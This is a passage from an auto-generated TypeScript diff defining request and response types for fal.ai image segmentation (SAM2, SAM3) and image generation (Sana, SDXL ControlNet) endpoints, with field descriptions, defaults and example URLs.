null + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPromptB305Bee1LabelKey | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null +} + +export type BoxPromptF97Ca67A = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null +} + +export const inputFalAiSam3ImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiSam3ImageOutputFormatEnumKey = + (typeof inputFalAiSam3ImageOutputFormatEnum)[keyof typeof inputFalAiSam3ImageOutputFormatEnum] + +export type InputFalAiSam3Image = { + /** + * @description If True, upload and return multiple generated masks as defined by `max_masks`. + * @default false + * @type boolean | undefined + */ + return_multiple_masks?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSam3ImageOutputFormatEnumKey + /** + * @description Whether to include mask confidence scores. + * @default false + * @type boolean | undefined + */ + include_scores?: boolean + /** + * @description Apply the mask on the image. + * @default true + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description List of point prompts + * @default [] + * @type array | undefined + */ + point_prompts?: PointPromptB305Bee1[] + /** + * @description Whether to include bounding boxes for each mask (when available). + * @default false + * @type boolean | undefined + */ + include_boxes?: boolean + /** + * @description Text prompt for segmentation + * @default 'wheel' + * @type string | undefined + */ + prompt?: string + /** + * @description If True, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description [DEPRECATED] Use 'prompt' instead. Kept for backward compatibility. + * @deprecated + */ + text_prompt?: string | null + /** + * @description Box prompt coordinates (x_min, y_min, x_max, y_max). Multiple boxes supported - use object_id to group boxes for the same object or leave empty for separate objects. + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPromptF97Ca67A[] + /** + * @description URL of the image to be segmented + * @example https://raw.githubusercontent.com/facebookresearch/segment-anything-2/main/notebooks/images/truck.jpg + * @type string + */ + image_url: string + /** + * @description Maximum number of masks to return when `return_multiple_masks` is enabled. + * @minimum 1 + * @maximum 32 + * @default 3 + * @type integer | undefined + */ + max_masks?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA2495589 = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type MaskMetadata1Cf4C277 = { + /** + * @description Index of the mask inside the model output. + * @type integer + */ + index: number + /** + * @description Bounding box for the mask in normalized cxcywh coordinates. + */ + box?: number[] | null + /** + * @description Score for this mask. + */ + score?: number | null +} + +export type OutputFalAiSam3Image = { + /** + * @description Primary segmented mask preview. + */ + image?: ImageA2495589 | null + /** + * @description Per-mask normalized bounding boxes [cx, cy, w, h] when requested. + */ + boxes?: (number[] | null)[] | null + /** + * @description Per-mask confidence scores when requested. + */ + scores?: (number | null)[] | null + /** + * @description Segmented mask images. + * @type array + */ + masks: ImageA2495589[] + /** + * @description Per-mask metadata including scores and boxes. + */ + metadata?: MaskMetadata1Cf4C277[] | null +} + +export const pointPrompt6A078E1DLabel = { + '0': 0, + '1': 1, +} as const + +export type PointPrompt6A078E1DLabelKey = + (typeof pointPrompt6A078E1DLabel)[keyof typeof pointPrompt6A078E1DLabel] + +export type PointPrompt6A078E1D = { + /** + * @description Y Coordinate of the prompt + */ + y?: number | null + /** + * @description Optional object identifier. Prompts sharing an object id refine the same object. When a text prompt is also given, the id selects which detected object the points refine. + */ + object_id?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description 1 for foreground, 0 for background + */ + label?: PointPrompt6A078E1DLabelKey | null + /** + * @description X Coordinate of the prompt + */ + x?: number | null +} + +export type BoxPrompt000202B2 = { + /** + * @description Optional object identifier. Boxes sharing an object id refine the same object. + */ + object_id?: number | null + /** + * @description Y Max Coordinate of the box + */ + y_max?: number | null + /** + * @description The frame index to interact with. + */ + frame_index?: number | null + /** + * @description Y Min Coordinate of the box + */ + y_min?: number | null + /** + * @description X Min Coordinate of the box + */ + x_min?: number | null + /** + * @description X Max Coordinate of the box + */ + x_max?: number | null +} + +export const inputFalAiSam3ImageRleOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiSam3ImageRleOutputFormatEnumKey = + (typeof inputFalAiSam3ImageRleOutputFormatEnum)[keyof typeof inputFalAiSam3ImageRleOutputFormatEnum] + +export type InputFalAiSam3ImageRle = { + /** + * @description If True, upload and return multiple generated masks as defined by `max_masks`. + * @default false + * @type boolean | undefined + */ + return_multiple_masks?: boolean + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSam3ImageRleOutputFormatEnumKey + /** + * @description Whether to include mask confidence scores. + * @default false + * @type boolean | undefined + */ + include_scores?: boolean + /** + * @description Apply the mask on the image. + * @default true + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description List of point prompts + * @default [] + * @type array | undefined + */ + point_prompts?: PointPrompt6A078E1D[] + /** + * @description Whether to include bounding boxes for each mask (when available). + * @default false + * @type boolean | undefined + */ + include_boxes?: boolean + /** + * @description Text prompt for segmentation + * @default 'wheel' + * @type string | undefined + */ + prompt?: string + /** + * @description If True, the media will be returned as a data URI. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description [DEPRECATED] Use 'prompt' instead. Kept for backward compatibility. + * @deprecated + */ + text_prompt?: string | null + /** + * @description Box prompt coordinates (x_min, y_min, x_max, y_max). Multiple boxes supported - use object_id to group boxes for the same object or leave empty for separate objects. + * @default [] + * @type array | undefined + */ + box_prompts?: BoxPrompt000202B2[] + /** + * @description URL of the image to be segmented + * @example https://raw.githubusercontent.com/facebookresearch/segment-anything-2/main/notebooks/images/truck.jpg + * @type string + */ + image_url: string + /** + * @description Maximum number of masks to return when `return_multiple_masks` is enabled. + * @minimum 1 + * @maximum 32 + * @default 3 + * @type integer | undefined + */ + max_masks?: number +} + +export type File9Bbdb45A = { + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type MaskMetadata5B365Ca1 = { + /** + * @description Index of the mask inside the model output. + * @type integer + */ + index: number + /** + * @description Bounding box for the mask in normalized cxcywh coordinates. + */ + box?: number[] | null + /** + * @description Score for this mask. + */ + score?: number | null +} + +export type OutputFalAiSam3ImageRle = { + /** + * @description Run Length Encoding of the mask. + */ + rle: string | string[] + /** + * @description Zip file containing per-frame bounding box overlays. + */ + boundingbox_frames_zip?: File9Bbdb45A | null + /** + * @description Per-mask confidence scores when requested. + */ + scores?: (number | null)[] | null + /** + * @description Per-mask normalized bounding boxes [cx, cy, w, h] when requested. + */ + boxes?: (number[] | null)[] | null + /** + * @description Per-mask metadata when multiple RLEs are returned. + */ + metadata?: MaskMetadata5B365Ca1[] | null +} + +export const inputFalAiSam2AutoSegmentOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSam2AutoSegmentOutputFormatEnumKey = + (typeof inputFalAiSam2AutoSegmentOutputFormatEnum)[keyof typeof inputFalAiSam2AutoSegmentOutputFormatEnum] + +export type InputFalAiSam2AutoSegment = { + /** + * @description Minimum area of a mask region. + * @default 100 + * @type integer | undefined + */ + min_mask_region_area?: number + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSam2AutoSegmentOutputFormatEnumKey + /** + * @description Number of points to sample along each side of the image. + * @default 32 + * @type integer | undefined + */ + points_per_side?: number + /** + * @description URL of the image to be automatically segmented + * @example https://raw.githubusercontent.com/facebookresearch/segment-anything-2/main/notebooks/images/truck.jpg + * @type string + */ + image_url: string + /** + * @description Threshold for predicted IOU score. + * @default 0.88 + * @type number | undefined + */ + pred_iou_thresh?: number + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description Threshold for stability score. + * @default 0.95 + * @type number | undefined + */ + stability_score_thresh?: number +} + +/** + * @description Represents an image file. + * @type object + */ +export type Image8732A1Aa = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiSam2AutoSegment = { + /** + * @description Combined segmentation mask. + * @type object + */ + combined_mask: Image8732A1Aa + /** + * @description Individual segmentation masks. + * @type array + */ + individual_masks: Image8732A1Aa[] +} + +export const pointPromptAd37E9A9LabelEnum = { + '0': 0, + '1': 1, +} as const + +export type PointPromptAd37E9A9LabelEnumKey = + (typeof pointPromptAd37E9A9LabelEnum)[keyof typeof pointPromptAd37E9A9LabelEnum] + +export type PointPromptAd37E9A9 = { + /** + * @description Label of the prompt. 1 for foreground, 0 for background + * @default 1 + * @type number | undefined + */ + label?: PointPromptAd37E9A9LabelEnumKey + /** + * @description The frame index to interact with. + * @default 0 + * @type integer | undefined + */ + frame_index?: number + /** + * @description Y Coordinate of the prompt + * @default 350 + * @type integer | undefined + */ + y?: number + /** + * @description X Coordinate of the prompt + * @default 305 + * @type integer | undefined + */ + x?: number +} + +export type BoxPrompt3A921Df2 = { + /** + * @description Y Max Coordinate of the prompt + * @default 0 + * @type integer | undefined + */ + y_max?: number + /** + * @description X Max Coordinate of the prompt + * @default 0 + * @type integer | undefined + */ + x_max?: number + /** + * @description The frame index to interact with. + * @default 0 + * @type integer | undefined + */ + frame_index?: number + /** + * @description X Min Coordinate of the box + * @default 0 + * @type integer | undefined + */ + x_min?: number + /** + * @description Y Min Coordinate of the box + * @default 0 + * @type integer | undefined + */ + y_min?: number +} + +export const inputFalAiSam2ImageOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', + webp: 'webp', +} as const + +export type InputFalAiSam2ImageOutputFormatEnumKey = + (typeof inputFalAiSam2ImageOutputFormatEnum)[keyof typeof inputFalAiSam2ImageOutputFormatEnum] + +export type InputFalAiSam2Image = { + /** + * @description List of prompts to segment the image + * @default [] + * @example [{"label":1,"y":375,"x":500}] + * @type array | undefined + */ + prompts?: PointPromptAd37E9A9[] + /** + * @description The format of the generated image. + * @default 'png' + * @type string | undefined + */ + output_format?: InputFalAiSam2ImageOutputFormatEnumKey + /** + * @description URL of the image to be segmented + * @example https://raw.githubusercontent.com/facebookresearch/segment-anything-2/main/notebooks/images/truck.jpg + * @type string + */ + image_url: string + /** + * @description Coordinates for boxes + * @default [] + * @example [{"y_max":875,"x_max":700,"x_min":425,"y_min":600}] + * @type array | undefined + */ + box_prompts?: BoxPrompt3A921Df2[] + /** + * @description Apply the mask on the image. + * @default false + * @type boolean | undefined + */ + apply_mask?: boolean + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean +} + +/** + * @description Represents an image file. + * @type object + */ +export type ImageA80517B4 = { + /** + * @description The size of the file in bytes. + * @example 4404019 + */ + file_size?: number | null + /** + * @description The width of the image in pixels. + * @example 1024 + */ + width?: number | null + /** + * @description The name of the file. It will be auto-generated if not provided. + * @example z9RV14K95DvU.png + */ + file_name?: string | null + /** + * @description The height of the image in pixels. + * @example 1024 + */ + height?: number | null + /** + * @description The mime type of the file. + * @example image/png + */ + content_type?: string | null + /** + * @description The URL where the file can be downloaded from. + * @type string + */ + url: string +} + +export type OutputFalAiSam2Image = { + /** + * @description Segmented image. + * @type object + */ + image: ImageA80517B4 +} + +export type ImageSize3Eb7A6A3 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiSanaStyleNameEnum = { + '(No style)': '(No style)', + Cinematic: 'Cinematic', + Photographic: 'Photographic', + Anime: 'Anime', + Manga: 'Manga', + 'Digital Art': 'Digital Art', + 'Pixel art': 'Pixel art', + 'Fantasy art': 'Fantasy art', + Neonpunk: 'Neonpunk', + '3D Model': '3D Model', +} as const + +export type InputFalAiSanaStyleNameEnumKey = + (typeof inputFalAiSanaStyleNameEnum)[keyof typeof inputFalAiSanaStyleNameEnum] + +export const inputFalAiSanaImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSanaImageSizeKey = + (typeof inputFalAiSanaImageSize)[keyof typeof inputFalAiSanaImageSize] + +export const inputFalAiSanaOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSanaOutputFormatEnumKey = + (typeof inputFalAiSanaOutputFormatEnum)[keyof typeof inputFalAiSanaOutputFormatEnum] + +export type InputFalAiSana = { + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The style to generate the image in. + * @default '(No style)' + * @type string | undefined + */ + style_name?: InputFalAiSanaStyleNameEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default {"height":2160,"width":3840} + */ + image_size?: ImageSize3Eb7A6A3 | InputFalAiSanaImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 18 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Underwater coral reef ecosystem during peak bioluminescent activity, multiple layers of marine life - from microscopic plankton to massive coral structures, light refracting through crystal-clear tropical waters, creating prismatic color gradients, hyper-detailed texture of marine organisms + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiSanaOutputFormatEnumKey +} + +export type ImageFdc59227 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiSana = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageFdc59227[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSizeA3496D7E = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiSanaSprintStyleNameEnum = { + '(No style)': '(No style)', + Cinematic: 'Cinematic', + Photographic: 'Photographic', + Anime: 'Anime', + Manga: 'Manga', + 'Digital Art': 'Digital Art', + 'Pixel art': 'Pixel art', + 'Fantasy art': 'Fantasy art', + Neonpunk: 'Neonpunk', + '3D Model': '3D Model', +} as const + +export type InputFalAiSanaSprintStyleNameEnumKey = + (typeof inputFalAiSanaSprintStyleNameEnum)[keyof typeof inputFalAiSanaSprintStyleNameEnum] + +export const inputFalAiSanaSprintImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSanaSprintImageSizeKey = + (typeof inputFalAiSanaSprintImageSize)[keyof typeof inputFalAiSanaSprintImageSize] + +export const inputFalAiSanaSprintOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSanaSprintOutputFormatEnumKey = + (typeof inputFalAiSanaSprintOutputFormatEnum)[keyof typeof inputFalAiSanaSprintOutputFormatEnum] + +export type InputFalAiSanaSprint = { + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The style to generate the image in. + * @default '(No style)' + * @type string | undefined + */ + style_name?: InputFalAiSanaSprintStyleNameEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default {"height":2160,"width":3840} + */ + image_size?: ImageSizeA3496D7E | InputFalAiSanaSprintImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 20 + * @default 2 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Underwater coral reef ecosystem during peak bioluminescent activity, multiple layers of marine life - from microscopic plankton to massive coral structures, light refracting through crystal-clear tropical waters, creating prismatic color gradients, hyper-detailed texture of marine organisms + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiSanaSprintOutputFormatEnumKey +} + +export type ImageD6Fb9332 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiSanaSprint = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageD6Fb9332[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize0Dff91C6 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiSanaV1516BStyleNameEnum = { + '(No style)': '(No style)', + Cinematic: 'Cinematic', + Photographic: 'Photographic', + Anime: 'Anime', + Manga: 'Manga', + 'Digital Art': 'Digital Art', + 'Pixel art': 'Pixel art', + 'Fantasy art': 'Fantasy art', + Neonpunk: 'Neonpunk', + '3D Model': '3D Model', +} as const + +export type InputFalAiSanaV1516BStyleNameEnumKey = + (typeof inputFalAiSanaV1516BStyleNameEnum)[keyof typeof inputFalAiSanaV1516BStyleNameEnum] + +export const inputFalAiSanaV1516BImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSanaV1516BImageSizeKey = + (typeof inputFalAiSanaV1516BImageSize)[keyof typeof inputFalAiSanaV1516BImageSize] + +export const inputFalAiSanaV1516BOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSanaV1516BOutputFormatEnumKey = + (typeof inputFalAiSanaV1516BOutputFormatEnum)[keyof typeof inputFalAiSanaV1516BOutputFormatEnum] + +export type InputFalAiSanaV1516B = { + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The style to generate the image in. + * @default '(No style)' + * @type string | undefined + */ + style_name?: InputFalAiSanaV1516BStyleNameEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default {"height":2160,"width":3840} + */ + image_size?: ImageSize0Dff91C6 | InputFalAiSanaV1516BImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 18 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Underwater coral reef ecosystem during peak bioluminescent activity, multiple layers of marine life - from microscopic plankton to massive coral structures, light refracting through crystal-clear tropical waters, creating prismatic color gradients, hyper-detailed texture of marine organisms + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiSanaV1516BOutputFormatEnumKey +} + +export type Image4E966Fb2 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiSanaV1516B = { + /** + * @description The generated image files info. + * @type array + */ + images: Image4E966Fb2[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type ImageSize176E84D5 = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export const inputFalAiSanaV1548BStyleNameEnum = { + '(No style)': '(No style)', + Cinematic: 'Cinematic', + Photographic: 'Photographic', + Anime: 'Anime', + Manga: 'Manga', + 'Digital Art': 'Digital Art', + 'Pixel art': 'Pixel art', + 'Fantasy art': 'Fantasy art', + Neonpunk: 'Neonpunk', + '3D Model': '3D Model', +} as const + +export type InputFalAiSanaV1548BStyleNameEnumKey = + (typeof inputFalAiSanaV1548BStyleNameEnum)[keyof typeof inputFalAiSanaV1548BStyleNameEnum] + +export const inputFalAiSanaV1548BImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSanaV1548BImageSizeKey = + (typeof inputFalAiSanaV1548BImageSize)[keyof typeof inputFalAiSanaV1548BImageSize] + +export const inputFalAiSanaV1548BOutputFormatEnum = { + jpeg: 'jpeg', + png: 'png', +} as const + +export type InputFalAiSanaV1548BOutputFormatEnumKey = + (typeof inputFalAiSanaV1548BOutputFormatEnum)[keyof typeof inputFalAiSanaV1548BOutputFormatEnum] + +export type InputFalAiSanaV1548B = { + /** + * @description + * The negative prompt to use. Use it to address details that you don't want + * in the image. This could be colors, objects, scenery and even the small details + * (e.g. moustache, blurry, low resolution). + * + * @default '' + * @example + * @type string | undefined + */ + negative_prompt?: string + /** + * @description + * The same seed and the same prompt given to the same version of the model + * will output the same image every time. + * + */ + seed?: number | null + /** + * @description The style to generate the image in. + * @default '(No style)' + * @type string | undefined + */ + style_name?: InputFalAiSanaV1548BStyleNameEnumKey + /** + * @description If `True`, the media will be returned as a data URI and the output data won't be available in the request history. + * @default false + * @type boolean | undefined + */ + sync_mode?: boolean + /** + * @description If set to true, the safety checker will be enabled. Disabling it requires account authorization; unauthorized requests are always checked, and images flagged as unsafe are returned as black images. + * @default true + * @type boolean | undefined + */ + enable_safety_checker?: boolean + /** + * @description The size of the generated image. + * @default {"height":2160,"width":3840} + */ + image_size?: ImageSize176E84D5 | InputFalAiSanaV1548BImageSizeKey + /** + * @description The number of inference steps to perform. + * @minimum 1 + * @maximum 50 + * @default 18 + * @type integer | undefined + */ + num_inference_steps?: number + /** + * @description + * The CFG (Classifier Free Guidance) scale is a measure of how close you want + * the model to stick to your prompt when looking for a related image to show you. + * + * @minimum 0 + * @maximum 20 + * @default 5 + * @type number | undefined + */ + guidance_scale?: number + /** + * @description The number of images to generate. + * @minimum 1 + * @maximum 4 + * @default 1 + * @type integer | undefined + */ + num_images?: number + /** + * @description The prompt to generate an image from. + * @example Underwater coral reef ecosystem during peak bioluminescent activity, multiple layers of marine life - from microscopic plankton to massive coral structures, light refracting through crystal-clear tropical waters, creating prismatic color gradients, hyper-detailed texture of marine organisms + * @type string + */ + prompt: string + /** + * @description The format of the generated image. + * @default 'jpeg' + * @type string | undefined + */ + output_format?: InputFalAiSanaV1548BOutputFormatEnumKey +} + +export type ImageC03126A1 = { + /** + * @default image/jpeg + */ + content_type?: string | null + height: number + width: number + url: string +} + +export type OutputFalAiSanaV1548B = { + /** + * @description The generated image files info. + * @type array + */ + images: ImageC03126A1[] + /** + * @description + * Seed of the generated Image. It will be the same value of the one passed in the + * input or the randomly generated that was used in case none was passed. + * + * @type integer + */ + seed: number + timings: { + [key: string]: number + } + /** + * @description Whether the generated images contain NSFW concepts. + * @type array + */ + has_nsfw_concepts: boolean[] + /** + * @description The prompt used for generating the image. + * @type string + */ + prompt: string +} + +export type EmbeddingA209Ea15 = { + /** + * @description URL or the path to the embedding weights. + * @example https://huggingface.co/RyuusouI/Negativexld/resolve/20515981675c6e76d5b91e2343b958d27c5ad0ab/negativeXL_D.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string + /** + * @description + * The list of tokens to use for the embedding. When omitted, tokens + * are generated as , , ... to match the number of vectors in + * the embedding file. + * + * @default null + */ + tokens?: string[] | null +} + +export type ImageSizeE4316A5A = { + /** + * @description The height of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + height?: number + /** + * @description The width of the generated image. + * @maximum 14142 + * @default 512 + * @type integer | undefined + */ + width?: number +} + +export type LoraWeightAd4A2B3C = { + /** + * @description + * The scale of the LoRA weight. This is used to scale the LoRA weight + * before merging it with the base model. + * + * @minimum 0 + * @maximum 1 + * @default 1 + * @type number | undefined + */ + scale?: number + /** + * @description If set to true, the embedding will be forced to be used. + * @default false + * @type boolean | undefined + */ + force?: boolean + /** + * @description URL or path to a LoRA safetensors file. Or HF model name that resolves to safetensors weights. + * @example https://huggingface.co/nerijs/pixel-art-xl/resolve/8bf4a4d9ea283e00a51fafda8e0539f8248ea037/pixel-art-xl.safetensors + * @example https://filebin.net/3chfqasxpqu21y8n/my-custom-lora-v1.safetensors + * @type string + */ + path: string +} + +export const inputFalAiSdxlControlnetUnionSafetyCheckerVersionEnum = { + v1: 'v1', + v2: 'v2', +} as const + +export type InputFalAiSdxlControlnetUnionSafetyCheckerVersionEnumKey = + (typeof inputFalAiSdxlControlnetUnionSafetyCheckerVersionEnum)[keyof typeof inputFalAiSdxlControlnetUnionSafetyCheckerVersionEnum] + +export const inputFalAiSdxlControlnetUnionImageSize = { + square_hd: 'square_hd', + square: 'square', + portrait_4_3: 'portrait_4_3', + portrait_16_9: 'portrait_16_9', + landscape_4_3: 'landscape_4_3', + landscape_16_9: 'landscape_16_9', +} as const + +export type InputFalAiSdxlControlnetUnionImageSizeKey = + (typeof 